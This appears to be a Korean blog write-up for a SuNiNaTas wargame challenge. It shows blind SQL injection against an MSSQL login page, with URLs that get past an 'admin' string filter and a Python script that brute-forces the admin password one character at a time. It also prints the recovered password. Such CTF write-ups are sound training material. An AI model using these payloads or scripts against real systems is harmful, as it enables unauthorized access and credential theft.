반응형
keyword : blind sql injection
<!-- Hint 1 : guest / guest & Your goal is to find the admin's pw -->
<!-- Hint 2 : Bypass 'admin' string -->
이전 문제랑 거의 비슷한데, 막 쿼리 제한있고(30자) admin도 filtering 되어있고 뭐 그래서 좀 힘들었따. 특히 Mssql이라서 mid()도 없고, 30자 제한 때문에 left나 right 만으로 다 못해서, 결국 쪼개서 진행했다... ㅠ
우선, 패스워드의 길이를 알아내었고, 글자 수 제한때문에 첫 번째 글자까지만 알 수 있다. v라는 걸 알 수 있다.
http://suninatas.com/Part_one/web23/web23.asp?id=adm'%2B'in' and len(pw)=12--&pw=1234
http://suninatas.com/Part_one/web23/web23.asp?id=adm'%2B'in'and%20left(pw,1)='{}'--&pw=1234
여기서 이용할 수 있는게, id를 지정해주지 않으면 해당 컬럼에 있는 것들을 모두 참조한다는 것이다. 예를 들어, 본 문제에서는 guest와 admin이 존재하는데, id를 제대로 지정하지 않으면 left(pw,1)='g'도 참이고 left(pw,1)='v'도 참이다. 해당 방법을 이용하면 id 없이 패스워드를 알아낼 수 있다.
다만 글자 수 제한때문에, 2글자를 구하지 못하는데 이는 id를 admin으로 지정한 상태롤 right()를 이용하여 한 글자를 알아낸 뒤, id 없이 right()를 이용하여 남은 글자까지 알아내는 방식으로 진행하면 된다.
import urllib.request
import string
array = string.printable
cookie = 'ASPSESSIONIDCSAARTSC=KELNKLFBEBIHLHILKGKJNOBN; auth%5Fkey=%3F%3F%3F%3F%3F; ASPSESSIONIDSQDCQQTD=PDPHOHCCIHILGKBBHBPLHGCI'
leak = ''
for i in array:
target = "http://suninatas.com/Part_one/web23/web23.asp?id=adm'%2B'in'and%20left(pw,1)='{}'--&pw=1234"
re = urllib.request.Request(target.format(i))
re.add_header("Cookie",cookie)
try:
data = urllib.request.urlopen(re).read().decode('utf-8')
except:
continue
if 'OK' in data:
leak += i
print(leak)
break
for j in range(2, 11):
for i in array:
target = "http://suninatas.com/Part_one/web23/web23.asp?id='or%20left(pw,{})='{}'--&pw=1"
re = urllib.request.Request(target.format(j,leak+i))
#print(target.format(j, leak+i))
re.add_header("Cookie",cookie)
try:
data = urllib.request.urlopen(re).read().decode('utf-8')
except:
continue
if 'OK' in data:
leak += i
print(leak)
break
reversed_s = ''
for i in array:
target = "http://suninatas.com/Part_one/web23/web23.asp?id=adm'%2b'in'and%20right(pw,1)='{}'--&pw=1"
re = urllib.request.Request(target.format(i+reversed_s))
#print(target.format(i+reversed_s))
re.add_header("Cookie",cookie)
try:
data = urllib.request.urlopen(re).read().decode('utf-8')
except:
continue
if 'OK' in data:
reversed_s = i + reversed_s
print(leak+reversed_s.zfill(2))
break
for i in array:
target = "http://suninatas.com/Part_one/web23/web23.asp?id='or%20right(pw,2)='{}'--&pw=1"
re = urllib.request.Request(target.format(i+reversed_s))
#print(target.format(i+reversed_s))
re.add_header("Cookie",cookie)
try:
data = urllib.request.urlopen(re).read().decode('utf-8')
except:
continue
if 'OK' in data:
reversed_s = i + reversed_s
print(leak+reversed_s)
break
'''
v
v3
v3r
v3ry
v3ryh
v3ryha
v3ryhar
v3ryhard
v3ryhards
v3ryhardsq
v3ryhardsq0i
v3ryhardsqli
반응형
'Write-up' 카테고리의 다른 글
[Python Challenge] level 1 (0) | 2019.04.13 |
---|---|
[Python Challenge] level 0 (0) | 2019.04.13 |
[SuNiNaTas] level 22 (0) | 2019.04.13 |
[SuNiNaTas] level 8 (0) | 2019.04.13 |
[SuNiNaTas] level 7 (0) | 2019.04.13 |